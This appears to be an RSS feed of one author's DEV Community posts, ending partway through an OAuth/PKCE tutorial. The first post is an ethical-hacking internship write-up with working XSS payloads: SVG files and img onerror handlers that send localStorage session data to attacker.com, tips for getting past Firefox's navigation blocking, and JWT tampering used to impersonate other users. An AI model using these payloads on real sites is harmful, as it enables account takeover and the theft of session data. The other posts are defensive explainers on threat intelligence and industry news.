<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: ali eltaib</title>
    <description>The latest articles on DEV Community by ali eltaib (@sanl0wkey).</description>
    <link>https://dev.to/sanl0wkey</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3691813%2F901c7565-2a92-4bc9-a429-77c63f365c72.png</url>
      <title>DEV Community: ali eltaib</title>
      <link>https://dev.to/sanl0wkey</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sanl0wkey"/>
    <language>en</language>
    <item>
      <title>Cyblack internship Ethical hacking sprint write-up</title>
      <dc:creator>ali eltaib</dc:creator>
      <pubDate>Thu, 16 Apr 2026 14:40:55 +0000</pubDate>
      <link>https://dev.to/sanl0wkey/cyblack-internship-ethical-hacking-sprint-write-up-33cg</link>
      <guid>https://dev.to/sanl0wkey/cyblack-internship-ethical-hacking-sprint-write-up-33cg</guid>
      <description>&lt;p&gt;One of the most exciting parts of my Ethical Hacking sprint with CyBlack was moving beyond single findings and thinking in terms of attack chains and real-world impact.&lt;br&gt;
A vulnerability on its own may seem low or medium risk, but during this sprint I focused on how multiple weaknesses can be combined to create high-impact exploitation paths.&lt;/p&gt;

&lt;p&gt;This is a walk through to 2 of my favorite findings :&lt;/p&gt;
&lt;h2&gt;
  
  
  1- First Multi-Stage Chain Exploit
&lt;/h2&gt;
&lt;h3&gt;
  
  
  The Issue
&lt;/h3&gt;

&lt;p&gt;We couldn’t directly access session-related values because the SVG payload executes on the API endpoint, which is considered a different origin due to running on a different port than the main web application.&lt;/p&gt;

&lt;p&gt;To overcome this, the idea was to pivot the execution context:&lt;/p&gt;

&lt;p&gt;Redirect the user from the API endpoint → to the /reset-password endpoint&lt;br&gt;
This endpoint is vulnerable to self-XSS via the code parameter&lt;br&gt;
This allows execution within the main application origin, enabling access to session data&lt;/p&gt;

&lt;p&gt;A reasonable question is: why not just use the reset password XSS directly?&lt;/p&gt;

&lt;p&gt;The answer is stealth and user perception:&lt;/p&gt;

&lt;p&gt;The /reset-password URL may raise suspicion&lt;br&gt;
The SVG URL appears benign (e.g., a shared image)&lt;br&gt;
Additionally, exposing files in the /uploads directory without authentication is itself a bad practice&lt;/p&gt;
&lt;h3&gt;
  
  
  Chain of Thought
&lt;/h3&gt;

&lt;p&gt;Initial payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"400"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"400"&lt;/span&gt; &lt;span class="na"&gt;viewBox=&lt;/span&gt;&lt;span class="s"&gt;"0 0 124 124"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"none"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;rect&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"124"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"124"&lt;/span&gt; &lt;span class="na"&gt;rx=&lt;/span&gt;&lt;span class="s"&gt;"24"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"#000000"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class="nt"&gt;&amp;lt;script&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;  
       var xssPayload = "&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;\"fetch('https://attacker.com/steal?data='&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="err"&gt;btoa(localStorage.getItem('user')))\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;";

    var target = "http://target.com/reset-password?email=hacker@cyber.com&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;code=" + encodeURIComponent(xssPayload);

    window.location.href = target;

   &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This didn’t consistently trigger the request, so I switched to using an SVG onload event, which forces execution immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;"fetch('https://attacker.com/steal?data=' + btoa(localStorage.getItem('user')))"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Issue Encountered: SVG Parsing Error&lt;/p&gt;

&lt;h3&gt;
  
  
  Error:
&lt;/h3&gt;

&lt;p&gt;AttValue: " or ' expected&lt;/p&gt;

&lt;p&gt;This happens because SVG is an XML document, and the parser processes special characters (&amp;lt;, &amp;gt;, ") before JavaScript execution.&lt;/p&gt;

&lt;p&gt;The nested quotes inside the payload caused the XML parser to misinterpret the structure.&lt;/p&gt;

&lt;h3&gt;
  
  
  Solution: CDATA Section
&lt;/h3&gt;

&lt;p&gt;To fix this, I wrapped the JavaScript inside a CDATA block, which tells the XML parser to treat the content as raw text.&lt;/p&gt;

&lt;p&gt;Final working payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2000/svg"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"400"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"400"&lt;/span&gt; &lt;span class="na"&gt;viewBox=&lt;/span&gt;&lt;span class="s"&gt;"0 0 124 124"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;rect&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"124"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"124"&lt;/span&gt; &lt;span class="na"&gt;rx=&lt;/span&gt;&lt;span class="s"&gt;"24"&lt;/span&gt; &lt;span class="na"&gt;fill=&lt;/span&gt;&lt;span class="s"&gt;"#000000"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;script&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text/javascript"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="cp"&gt;&amp;lt;![CDATA[
      // Using CDATA prevents the XML parser from breaking on quotes or &amp;lt; &amp;gt;&lt;/span&gt; symbols
      var xssPayload = "&lt;span class="nt"&gt;&amp;lt;svg&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;\"fetch('https://attacker.com/steal?data='&lt;/span&gt; &lt;span class="err"&gt;+&lt;/span&gt; &lt;span class="err"&gt;btoa(localStorage.getItem('user')))\"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;";

      var target = "http://target.com/reset-password?email=hacker@cyber.com&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;code=" + encodeURIComponent(xssPayload);

      window.location.href = target;
    ]]&amp;gt;
  &lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Firefox Breakout Issue
&lt;/h3&gt;

&lt;p&gt;Interestingly, the exploit worked in Chrome but not in Firefox.&lt;/p&gt;

&lt;p&gt;This highlights the browser security differences:&lt;/p&gt;

&lt;p&gt;Navigation blocking: Firefox restricts automatic redirects from untrusted contexts (like XML/SVG)&lt;br&gt;
Storage partitioning: Data access depends on how the page is loaded (top-level vs embedded)&lt;br&gt;
Frame restrictions: Prevent unauthorized top-level navigation&lt;br&gt;
Bypass Techniques&lt;/p&gt;

&lt;p&gt;To make the exploit work in Firefox:&lt;/p&gt;

&lt;p&gt;Use setTimeout() to delay execution (bypasses immediate navigation blocking)&lt;br&gt;
Use window.top to escape the SVG context&lt;br&gt;
Use location.replace() instead of href to bypass navigation protections&lt;/p&gt;
&lt;h2&gt;
  
  
  2- Second Multi-Stage Chain: Chatbot Account Takeover
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Initial Finding
&lt;/h4&gt;

&lt;p&gt;A reflected XSS vulnerability was identified in the chatbot interface.&lt;/p&gt;

&lt;p&gt;JavaScript payloads were successfully executed&lt;br&gt;
However, the impact was limited when used alone&lt;br&gt;
Escalation Strategy&lt;/p&gt;

&lt;p&gt;To increase impact, I looked for ways to:&lt;/p&gt;

&lt;p&gt;make the payload execute in another user’s context&lt;/p&gt;
&lt;h4&gt;
  
  
  JWT Tampering Discovery
&lt;/h4&gt;

&lt;p&gt;The application retrieves chat history based on a user ID stored in the JWT.&lt;/p&gt;

&lt;p&gt;This JWT was not properly validated, allowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Modification of the user ID&lt;/li&gt;
&lt;li&gt;Impersonation of other users&lt;/li&gt;
&lt;li&gt;Exploit Chain&lt;/li&gt;
&lt;li&gt;Modify JWT → impersonate another user (e.g., admin/doctor)&lt;/li&gt;
&lt;li&gt;Send a malicious message via chatbot&lt;/li&gt;
&lt;li&gt;The message is rendered in the victim’s chat interface&lt;/li&gt;
&lt;li&gt;XSS payload executes in the victim’s browser&lt;/li&gt;
&lt;li&gt;Session data is exfiltrated&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Payload Used&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;"new Image().src='https://attacker.com/?d=' + btoa(localStorage.getItem('user'));"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Impact
&lt;/h3&gt;

&lt;p&gt;This chain significantly increases severity:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Account takeover&lt;/li&gt;
&lt;li&gt;Privilege escalation (e.g., accessing sensitive data)&lt;/li&gt;
&lt;li&gt;Cross-user attack execution&lt;/li&gt;
&lt;li&gt;Persistent XSS (if chat history is stored)&lt;/li&gt;
&lt;li&gt;Internal phishing &amp;amp; spoofing attacks&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It also bypasses protections like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP restrictions&lt;/li&gt;
&lt;li&gt;Geo-fencing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the attack originates from a legitimate user session&lt;/p&gt;

&lt;p&gt;Extended Abuse Scenarios&lt;br&gt;
Injecting fake login forms within the chat window&lt;br&gt;
Spoofing support messages&lt;br&gt;
Delivering phishing payloads through trusted channels&lt;/p&gt;

</description>
      <category>api</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>Cyber Threat Intelligence (How important it is and how it helps the SOC go from guesswork to calculated actions)</title>
      <dc:creator>ali eltaib</dc:creator>
      <pubDate>Sun, 18 Jan 2026 13:06:06 +0000</pubDate>
      <link>https://dev.to/sanl0wkey/cyber-threat-intelligence-how-important-it-is-and-how-it-helps-the-soc-go-from-guesswork-to-31md</link>
      <guid>https://dev.to/sanl0wkey/cyber-threat-intelligence-how-important-it-is-and-how-it-helps-the-soc-go-from-guesswork-to-31md</guid>
      <description>&lt;h2&gt;
  
  
  acronyms used
&lt;/h2&gt;

&lt;p&gt;APT : Advanced persistent threat&lt;br&gt;
CTI : Cyber threat intelligence&lt;br&gt;
TTP : Tactics, Techniques and procedures (used by the threat actors)&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction:
&lt;/h2&gt;

&lt;p&gt;I used to think that Cyber Threat Intelligence (CTI) is all about collecting info regarding certain APTs and threat actors which are of relevant to the organization, for the sake of hardening the organizations security posture in accordance to the TTPs used.&lt;/p&gt;

&lt;p&gt;Turns out CTI brings more to the table, like for instance it helps the SOC team greatly in many ways. let me present you some simple examples that I have taken from &lt;a href="https://tryhackme.com/room/cyberthreatintel" rel="noopener noreferrer"&gt;tryhackme&lt;/a&gt; to demonstrate :&lt;/p&gt;

&lt;p&gt;say there are benign activities going on like someone doing network scanning and such, in this scenario &lt;em&gt;Threat intelligence&lt;/em&gt; provides the context that helps an analyst decide which of those multiple alerts represents genuine danger.&lt;/p&gt;

&lt;p&gt;Information security literature distinguishes &lt;strong&gt;data, information&lt;/strong&gt;, and &lt;strong&gt;intelligence&lt;/strong&gt;, yet the three terms often blur in daily conversation. Making them explicit clarifies an analyst's objective.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Definition&lt;/th&gt;
&lt;th&gt;Alert-queue example&lt;/th&gt;
&lt;th&gt;SOC L1 action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Data&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;An unprocessed observable&lt;/td&gt;
&lt;td&gt;&lt;code&gt;45.155.205.3 :443&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Capture the artefact.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Information&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data plus factual annotation&lt;/td&gt;
&lt;td&gt;&lt;em&gt;IP registered to Hetzner, first seen 2023-07-14&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;Record attributes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Intelligence&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Analysed information that answers &lt;em&gt;so-what&lt;/em&gt;
&lt;/td&gt;
&lt;td&gt;&lt;em&gt;IP belongs to the current BumbleBee C2; block immediately&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;Escalate or suppress.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In concrete terms, Cyber Threat Intelligence (CTI) seeks to answer three essential questions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Who, or what, is on the other end of this alert indicator?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;What was their behaviour in the past?&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;How does my organisation respond, and what should I do about it right now?&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;therefore, a Level 1 analyst is responsible for making the artifacts usable and enriching them until they qualify as intelligence, or demonstrating that they never will. That push is enacted through &lt;strong&gt;enrichment&lt;/strong&gt;: rapid, methodical lookups of public, commercial, and internal sources that shed light on origin, behaviour, and relevance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Indicator Types Essential to First-Line Triage
&lt;/h2&gt;

&lt;p&gt;Every artefact demands a tailored enrichment path. Memorising tools is less important than recognising what kind of indicator the alert supplies and knowing where to look. Below, we have a table showing the types of indicators we need to be aware of, with examples:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Indicator&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;th&gt;First Resources&lt;/th&gt;
&lt;th&gt;Associated IOA or TTP Examples&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv4 / IPv6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;45.155.205.3&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• WHOIS (ASN, allocation date) · VirusTotal Relations· Shodan banner scan&lt;/td&gt;
&lt;td&gt;IOA: Repeated SSH failures TTP: &lt;code&gt;T1110.003&lt;/code&gt;Password Guessing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Domain / FQDN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;malicious-updates[.]net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• WHOIS age · RiskIQ or SecurityTrails passive-DNS · urlscan.io&lt;/td&gt;
&lt;td&gt;IOA: surge of DNS queries to a 24-hour-old domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;URL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;hxxp://malicious-updates[.]net/login&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• URLhaus reputation · urlscan.io behaviour graph · Any.Run dynamic run (network off)&lt;/td&gt;
&lt;td&gt;IOA: Browser POST to /gateway.php with payload&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File hash&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;e99a18c428cb38d5…&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• VirusTotal static &amp;amp; dynamic · Hybrid-Analysis · MalShare corpus&lt;/td&gt;
&lt;td&gt;TTP: T1055 Process Injection into regsvr32.exe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;E-mail address&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;billing@evil-corp.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• MXToolbox header analysis • Have I Been Pwned&lt;/td&gt;
&lt;td&gt;IOA: SPF failure plus recent domain registration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Local artefact&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HKCU\Software\Run\updater.exe&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;• Sigma rules · EDR prevalence query · Vendor knowledge bas&lt;/td&gt;
&lt;td&gt;TTP: T1060.001 Registry Run Keys&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;some of you might say okay am convinced how can I start utilizing CTI to my need.&lt;br&gt;
well there are a lot of great tools that would give you a good jump start but here are the leading opensource examples, &lt;strong&gt;MISP&lt;/strong&gt; and &lt;strong&gt;OpenCTI&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;and that sums up the end of this introductory article hope you enjoyed it. &lt;/p&gt;

</description>
      <category>beginners</category>
      <category>cybersecurity</category>
      <category>learning</category>
      <category>security</category>
    </item>
    <item>
      <title>CrowdStrike Acquires Browser Security Firm Seraphic for $420 Million</title>
      <dc:creator>ali eltaib</dc:creator>
      <pubDate>Wed, 14 Jan 2026 06:50:39 +0000</pubDate>
      <link>https://dev.to/sanl0wkey/crowdstrike-acquires-browser-security-firm-seraphic-for-420-million-jge</link>
      <guid>https://dev.to/sanl0wkey/crowdstrike-acquires-browser-security-firm-seraphic-for-420-million-jge</guid>
      <description>&lt;p&gt;CrowdStrike's decision to acquire &lt;strong&gt;Seraphic Security&lt;/strong&gt; (announced in January 2026) was driven by Seraphic's unique ability to secure the "browser runtime" without forcing users to switch to a specialized "enterprise browser" like Island or Talon.&lt;/p&gt;

&lt;p&gt;The core technology that caught CrowdStrike's attention is a patented &lt;strong&gt;JavaScript Engine (JSE) abstraction layer&lt;/strong&gt;. Here is a breakdown of how that technology works and why it was the primary motivator for the deal:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Moving Target Defense (MTD) in the Browser
&lt;/h3&gt;

&lt;p&gt;Unlike traditional security that looks for known "bad" signatures, Seraphic implements &lt;strong&gt;Moving Target Defense (MTD)&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How it works:&lt;/strong&gt; It randomizes the browser's JavaScript engine environment at the memory level. This is similar to Address Space Layout Randomization (ASLR) but specifically for the browser's execution layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Benefit:&lt;/strong&gt; It makes the memory addresses where code is executed unpredictable. Even if a hacker has a functional zero-day exploit, they won't know where to "point" it, effectively immunizing the browser against memory corruption bugs.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. The Browser-Agnostic Abstraction Layer
&lt;/h3&gt;

&lt;p&gt;Most competitors require a "walled garden" (a custom-built Chromium browser). Seraphic uses a &lt;strong&gt;lightweight agent&lt;/strong&gt; that injects itself into &lt;em&gt;any&lt;/em&gt; existing browser (Chrome, Safari, Edge, Firefox).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Code Injection:&lt;/strong&gt; The agent creates a shim or abstraction layer between the external web code (scripts/pages) and the actual browser engine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;In-Session Visibility:&lt;/strong&gt; Because it lives &lt;em&gt;inside&lt;/em&gt; the session, it sees what the user sees. It can detect "Browser-in-the-Browser" (BitB) phishing attacks or "man-in-the-browser" session hijacking that traditional endpoint protection (EDR) might miss.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Native Electron App Protection
&lt;/h3&gt;

&lt;p&gt;Seraphic was the first to extend this technology to &lt;strong&gt;Electron-based applications&lt;/strong&gt;. Apps like &lt;strong&gt;Slack, Microsoft Teams, and Discord&lt;/strong&gt; are essentially specialized web browsers. By injecting their engine into these apps, Seraphic provides the same DLP (Data Loss Prevention) and exploit protection for desktop collaboration tools as it does for web browsers.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Why CrowdStrike Wanted It
&lt;/h3&gt;

&lt;p&gt;CrowdStrike’s goal is to create a "Unified Next-Gen Identity Security" strategy. They are integrating Seraphic’s technology to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Eliminate Blind Spots:&lt;/strong&gt; Traditional EDR (Falcon) monitors OS-level system calls. Seraphic monitors the &lt;strong&gt;browser runtime&lt;/strong&gt;, covering the 85% of the workday where users are in a browser.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Secure "Agentic" AI:&lt;/strong&gt; As users use AI agents and LLMs (like ChatGPT or Claude), Seraphic can see the prompts and data being uploaded in real-time, preventing "Shadow AI" data leaks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero Standing Privilege:&lt;/strong&gt; Combined with CrowdStrike's recent acquisition of &lt;strong&gt;SGNL&lt;/strong&gt;, they can now use browser signals to dynamically revoke access permissions in the middle of a session if suspicious behavior is detected.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=0s8n1TRD7Gk" rel="noopener noreferrer"&gt;CrowdStrike Acquisition of Seraphic Security&lt;/a&gt;&lt;br&gt;
This video provides an introductory overview of how Seraphic's agent transforms any standard browser into a secure enterprise environment.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>news</category>
    </item>
    <item>
      <title>OAuth Simplified: A Hands-On Breakdown</title>
      <dc:creator>ali eltaib</dc:creator>
      <pubDate>Sat, 03 Jan 2026 20:22:49 +0000</pubDate>
      <link>https://dev.to/sanl0wkey/oauth-simplified-a-hands-on-breakdown-20pb</link>
      <guid>https://dev.to/sanl0wkey/oauth-simplified-a-hands-on-breakdown-20pb</guid>
      <description>&lt;h2&gt;
  
  
  introduction:
&lt;/h2&gt;

&lt;p&gt;hey there, in this blog post I'll try to simplify how OAuth works and break down what actually happens behind the scenes.&lt;/p&gt;

&lt;p&gt;so I built a small server and a segment of the client app of which would handle the OAuth request.&lt;br&gt;
I decided to take this approach because I couldn't really pinpoint the attack vectors of OAuth with just the theory of how it works, I needed to build it in order to understand how to break it, anyhow enough with the introduction let's get into it.&lt;/p&gt;



&lt;p&gt;so before we start anything let's make sure you guys understand the terminology that will be used add to that I will give you a mental model of the context which we will be implementing the OAuth functionality :&lt;/p&gt;
&lt;h3&gt;
  
  
  Terminology :
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Frontchannel (The User's Browser)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Frontchannel is like a public courier. When the Auth Server wants to send a code to the Client App, it gives it to the browser (the courier) via a URL redirect.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The Risk:&lt;/em&gt; Because the data is in the URL, it's visible in browser history, server logs, and can be intercepted by malicious browser extensions.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Analogy:&lt;/em&gt; Sending a postcard. Anyone who handles the postcard can read what's written on the back.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Backchannel (Server-to-Server)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Backchannel is like a private secure line. Once the Client App has the temporary code, it calls the Auth Server directly over a secure HTTPS connection (using a library like axios or fetch).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The Security:&lt;/em&gt; This connection is encrypted. The user never sees the data being exchanged (like the code_verifier or the access_token).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Analogy:&lt;/em&gt; A private phone call between two offices. No one on the street knows the conversation is even happening.&lt;/p&gt;

&lt;p&gt;In this system, the flow moves between the &lt;strong&gt;User's Browser&lt;/strong&gt; (Frontchannel) and &lt;strong&gt;Server-to-Server&lt;/strong&gt; (Backchannel) to ensure security. Here is the breakdown of the requests in order:&lt;/p&gt;
&lt;h3&gt;
  
  
  Mental model:
&lt;/h3&gt;

&lt;p&gt;To make it clear, the server I built is a &lt;strong&gt;Custom OAuth 2.0 Authorization Server&lt;/strong&gt; using the &lt;strong&gt;PKCE&lt;/strong&gt; extension.&lt;/p&gt;

&lt;p&gt;While Google acts as a "Public Identity Provider" for the whole world, this server is currently a "Private Identity Provider." Here is the exact context where this type of server is used:&lt;/p&gt;
&lt;h4&gt;
  
  
  1. The "Internal Ecosystem" Context
&lt;/h4&gt;

&lt;p&gt;This is the most common real-world use case. Imagine you are building a company called "TechCorp" that has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;Main API&lt;/strong&gt; (Resource Server) that holds user data.&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Mobile App&lt;/strong&gt; (iOS/Android).&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Web Dashboard&lt;/strong&gt; (React/SPA).&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Desktop Tool&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Instead of writing login logic for &lt;em&gt;each&lt;/em&gt; app, you build &lt;strong&gt;one&lt;/strong&gt; Authorization Server (the one used here). All your different apps "Sign in with TechCorp" by talking to this single server. It centralizes your security.&lt;/p&gt;
&lt;h4&gt;
  
  
  2. The "Third-Party Developer" Context
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Context:&lt;/strong&gt; You have a platform (like a CRM or E-commerce engine) and you want outside developers to build "Apps" or "Plugins" for it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Role:&lt;/strong&gt; You give those developers a &lt;code&gt;client_id&lt;/code&gt;, and they use the flow we built to let users "Authorize" their third-party apps to access your platform's data.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;
  
  
  Why we used PKCE specifically?
&lt;/h5&gt;

&lt;p&gt;this server is specifically designed for &lt;strong&gt;Public Clients&lt;/strong&gt;. These are apps where the source code is visible to the user (like a Mobile App or a React site).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
